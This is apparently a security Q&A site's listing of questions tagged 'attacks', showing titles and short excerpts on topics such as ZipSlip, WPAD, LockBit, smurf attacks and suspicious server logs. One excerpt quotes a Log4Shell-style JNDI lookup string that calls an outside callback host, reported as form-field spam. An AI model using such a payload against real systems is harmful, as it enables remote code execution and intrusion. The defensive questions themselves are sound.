Questions tagged [attacks]
An attempt to exploit a weakness in a system, either for nefarious or research reasons. Questions with this tag should be about designing, carrying out, or defending against the attack itself, rather than about the underlying weakness.
1,252
questions
0
votes
2
answers
114
views
Kernel level attack?
In a Unix-like system, the concept of privileged and non-privileged users is used for security, preventing numerous attacks. When a non-privileged user executes malicious code at a normal level, the ...
- 101
-1
votes
1
answer
65
views
Explain `${jndi:ldap://...}` spam(s)? [duplicate]
Some spammers keep filling each and every form-field with below:
${jndi:ldap://123.tgnndi.dnslog.cn/e}
Maybe the $ part is supposed to trigger JQuery.
What is this, is it a try to attack?
If so, is ...
- 103
0
votes
1
answer
40
views
Is ZipSlip possible in Java without two dots?
I'm testing a Java application that tries to prevent ZipSlip by simply checking whether the filename contains ".." or "./"
Since it's not a web application, I guess encoding is not ...
- 121
0
votes
0
answers
79
views
IP Address 47.128.16.39 has been going through our site for more than 4 days
This IP address has been going through everything - every image, every page. How can we know who this is and whether they are doing any harm? Is this abuse? Should we report this? If yes, to whom ...
- 1
0
votes
0
answers
29
views
What security issues could my system be exposed to via an unsecure memory card?
I'm working on an article that involves flash memory cards being put into machines that process and track sensitive information. The machines scan data from forms, then input the data into a database.
...
2
votes
2
answers
402
views
CVSS3 score for XSS leading to account takeover
Let's say there is a XSS vulnerability in a web application. The XSS allows an attacker to hijack the user's session. Within the session, the attacker can view/modify the user's credit card and ...
- 85
0
votes
1
answer
87
views
Is Certificate Pinning safe and worthwhile for an API server that will only accept requests from an android application?
I have hosted an api on an AWS Windows server, imported ssl certificates from a known CA, and made https mandatory.
Then built a client app that is an executable, then pinned the public key hash for ...
- 103
1
vote
0
answers
41
views
MS-CHAPv2 Auth protocol downgrade
I'm researching about PPP (Point to Point protocol) and it's security aspects.
While exploring PPP Authentication I've noticed possibility for security downgrade attack. Generally authentication ...
- 11
1
vote
2
answers
106
views
How to prevent attacks on a personal webserver
I'm currently working on some modules on hackthebox. In that regard, I recently set up a web service: sudo python3 -m http.server 8080
When I did a wget to my server, it showed up in the log as usual, ...
- 19
0
votes
0
answers
111
views
DoS attack in my home router's logs
I logged in to my router to try to figure out why my phone randomly keeps being unable to connect to my WiFi. I looked in the logs and saw 2 strange rows:
[DoS attack: IP packet w/MC or BC SRC addr] ...
- 101
0
votes
0
answers
73
views
The specific nature of a 51% attack - in relation to a multiple choice question
In a course I'm taking the following question came up:
A 51% attack means:
A. 51% of the nodes are bots
B. 51% of the nodes are hackers
C. 51% of the nodes are offline or disabled
D. 51% ...
0
votes
1
answer
246
views
Getting a couple of remote login and calls into Ubuntu server?
I have a ubuntu server (Ubuntu 22.10 x64) on Digital Ocean. And I am using fastapi, uvicorn, gunicorn and nginx as I used it for my backend api calls from my frontend and my frontend IP is dynamic.
...
- 1
0
votes
1
answer
133
views
Can a machine learning model contain malicious code?
As interest in machine learning grows, it is becoming common for people without a background in data science like myself, to grab models from sources such as HuggingFace and run them.
Now my ...
- 103
0
votes
0
answers
255
views
How to prevent WPAD attack
We had a pentration test in our company. One of the recommendations was to disable WPAD (Windows Proxy Auto Discovery), LLMNR, NetBIOS.
We have successfully disabled LLMNR by GPO, NetBIOS on DHCP as ...
- 1
0
votes
0
answers
369
views
How easy or difficult it is to exploit older SSL/TLS protocols?
Detection of outdated TLS/SSL protocols are one of the most common findings I have seen in many vulnerability scans and penetration testing reports. It is reported as a serious vulnerability too. ...
- 1,307
0
votes
0
answers
407
views
UDP Port Scan Attack from a previously used IP address
Yesterday my internet connection is interrupted and I checked the logs. In logs, I saw 2 UDP Port Scan Attack happened a week ago. After a little bit of research, I convinced myself that it is common ...
- 1
0
votes
1
answer
84
views
icmp smurf attack
I am learning about ICMP smurf attack and for this, I have forged a packet with the following details:
source_mac_address = **??**
destination_mac_address = router mac address
char ...
- 101
1
vote
1
answer
957
views
How to decrypt LockBit encrypted files
I've got an emergency on my PC. I remotely connected to it using Remote Desktop Connection a couple of days ago and I worked on my PC for a while and logged off. Later, when I went to log back on, I ...
0
votes
0
answers
61
views
How exactly are hidraw 'Billboard' devices interrogated?
I have some USBHub ( Ethernet + HDMI + USB + VGA). When it doesn't have anything connected it exposes to Linux operating system device:
'hiddev0, hidraw1'
in opposite to HID mouse:
which is visible as ...
- 47
0
votes
1
answer
216
views
Does core isolation protect me against malware?
Does Windows 11 core isolation protect me against malware or does it have nothing to do with it? For example, an unsophisticated hacker with metasploit, nmap, msvenom or tools like that could create ...
0
votes
0
answers
71
views
Can rebooting a router clear any hacks done to it?
I manage a website for a club. I monitor the cPanel error logs to identify potential hackers that attempt to hack the website I maintain. Recently I have seen my IP address appear in the error logs ...
- 1
0
votes
0
answers
58
views
How can Trudy attack the protocol where both Alice and Bob complete authentication and Trudy gets the session key?
I'm studying up protocols, authentication and attacks for a class I'm taking, but I've encountered a question that I just cannot figure out.
If Alice and Bob have the below protocol and the session ...
0
votes
0
answers
93
views
How to test the reaction of an outsourced DDoS protection provider to a DDoS attack, similar to a red teaming engagement?
I work in a security/pentesting company and in the last year the demand for DDoS testing has dramatically increased. The issue is that the customer is not interested in what I call a mislabeled load ...
1
vote
0
answers
76
views
Malicious httpd log entry
Besides some other hacking attempts, I am seeing the following kind of log entries in my Apache logs which I cannot fully understand.
5.188.x.x - - [10/Feb/2023:14:40:14 +0100] "GET http://5.188....
- 11
2
votes
1
answer
203
views
Which attack is more dangerous: Evil Twin or ARP spoofing?
I'm learning about the Evil Twin and ARP Spoofing attacks performed by an attacker on the same WPA2-PSK protected wireless network and wanted to know which one would be more impactful since both of ...
- 23
0
votes
0
answers
67
views
Technical details behind how a malware-infected device infects other devices on the same network?
I'm a security student and for one of my projects, I'm trying to learn the technical details behind a malware-infected device infecting other devices on the same network. I can see so much content ...
- 23
1
vote
0
answers
61
views
Can an attacker steal one's credentials if they never ask for it? [closed]
Can a website that never asks for one's credentials still steal one's credentials?
If yes, how?
- 509
1
vote
1
answer
424
views
What are these http requests trying to break?
I recently started receiving some really strange http traffic, and I'd like to understand what it's trying to do. Some of it seems like sql injection attempts, but the strings are appearing in the ...
0
votes
1
answer
227
views
Can a simcard's public IP be accessed?
I am in a discussion with someone about IoT devices.
We use private IPs for simcards, but the other organisation is using public IPs.
I think it is possible for a hacker to access these public IPs to ...
0
votes
0
answers
43
views
There's malware on my machine and I can't find it [duplicate]
I just had a rather alarming experience.
As I was sitting here doing something else, with my laptop open, logged in (Windows 10) but not in use, with Chrome open, I noticed some activity out of the ...
- 273
2
votes
1
answer
776
views
Where can I find the launcher for this virus that uses Powershell?
On my Windows 10 PC after about 30 minutes of being turned on I always get a powershell window that immediately hides and consumes a lot of RAM.
So I went to the powershell directory:
"C:\Windows\...
- 21
0
votes
3
answers
224
views
Can the microsoft basic optical mouse be modified to contain spyware or a keylogger if the attacker had physical access to the mouse? [duplicate]
I was given a mouse by someone who now i realized would want to hack me. It is the Microsoft basic optical mouse v2.0. Can this mouse be modified to inject spyware and malware onto my laptop?
- 1
0
votes
1
answer
122
views
Can an attacker flip bits of a signature to create DoS?
Assume two parties communicating. A sends a message to B signed with its private key. B received the message and verify it using the public key of A. Can an attacker launch a DoS attack by flipping ...
- 3
1
vote
1
answer
107
views
Have I been attacked?
This may be a dumb issue, but I have no other way to find out. At some point I was sent a facebook message from someone with a name of a person I knew, who wrote something along the lines "haha I ...
- 113
6
votes
4
answers
898
views
How can non-root intercept privileged loopback ports?
Please walk through how an attacker can intercept Chrome's connection to 127.0.0.1:999, as suggested by the warning below.
This warning is consitently displayed across many versions of Chrome in many ...
- 379
1
vote
0
answers
100
views
Implement Replay attacks in python [closed]
For an assignment I have to implement a proof of concept and (optionally attack it). The part of OCSP is working so far. I have a client that sends the request to a server, the server verifies if the ...
- 11
1
vote
3
answers
289
views
Understanding FDE: Is the encrypted Linux protected against a compromised boot volume?
I use this initramfs-based FDE on my headless server. My motivation is to secure my system against physical tampering.
I am aware that securing an untrusted hardware is not possible. This question is ...
- 113
2
votes
1
answer
116
views
I using sha256 after adding a secret enough if the message includes its length?
I've been reading about HMAC protecting from length extension attacks, but if the message already specifies it size, is HMAC adding any advantange to simple hashing after prepending a secret?
As ...
- 123
0
votes
0
answers
48
views
Attack using the same scope names within differents api resources with OpenID Connect / OAuth2
Assume that we have a client X and client Y. There's also api resources: api-resource-1 and api-resource-2, and api scopes: test.read and test.write.
Client X is allowed to test.read within api-...
- 309
5
votes
3
answers
3k
views
Man in the middle Attack, possible even with CA certificate and assymetric encryption
So I read something about SSL/TLS and I always don't understand two things.
First, why so many of the comments are still saying that just because the attacker doesn't have the private key, a MiM ...
- 53
1
vote
1
answer
38
views
Are there HTTP/2 specific attacks different from request smuggling?
I'm researching information about HTTP/2 from a cybersecurity point of view for an article, and i wanted to include a section about attacks exclusive to HTTP/2 or were this protocol have a key role.
I ...
- 13
2
votes
1
answer
123
views
Basically only 2 ways of npm supply chain attacks?
Almost every week you can read about attacks performed through compromised npm libraries. The npm ecosystem is vast and unmanageable and for it-sec people it is frustrating to deal with all the ...
- 33
0
votes
2
answers
88
views
How can an attacker cryptolock a database content after having compromised the application server, which protection to setup?
I have an application server accessible from the Web, behind a reverse proxy. Its database is secured on a separate VLAN and the database admin password is strong.
Say the application or the operating ...
- 597
3
votes
1
answer
265
views
Authentication flow leading to wrong authenticator app - what happened, and how to prevent?
Someone I know ended up installing a sketchy authenticator app while going through Microsoft's SSO authentication flow, and I'm trying to understand how this happened exactly.
The user's organization ...
0
votes
0
answers
124
views
OpenID Connect security issues
Recently, I started to wonder if OpenID Connect is really secure enough. I have analyzed tons of different sites and official documentation and so far I don't see any problems except that stealing ...
- 309
1
vote
1
answer
89
views
can these encryption methods for a text file protect against physical access to machine by adversary?
My threat model is that, the adversary has physical access to the machine and root access.
I don't care about any data on the system other than a couple python scripts that contain sensitive ...
- 15
1
vote
1
answer
265
views
Can BeEF also work in public?
Is it possible to run the tool called BeEF to do penetration testing on real domains like example.com? As far as I know, BeEF can only be used within localhost.
I can only test my site for XSS on the ...
- 11
0
votes
0
answers
499
views
Is storing a username in session storage a security risk?
Goal
I have a page which verifies the user's email address, that has access to their user id. From this page they're redirected to the login page. I want their username to be filled in already. In ...
- 11
1
vote
1
answer
92
views
How could attacker know user names of my Google Workspace? [closed]
I found in my Google admin logs that someone from outside my organization is trying to log in frequently by testing all our user accounts against weak passwords. I'm wondering how could that happen?
...
- 119
1
vote
1
answer
387
views
How risky is it to let someone know the name of your Windows PC?
I have here a situation where if I share this file with someone on the internet, the file may contain: 1. data pointing to the directories where it is stored on my computer, along with 2. the name of ...
- 25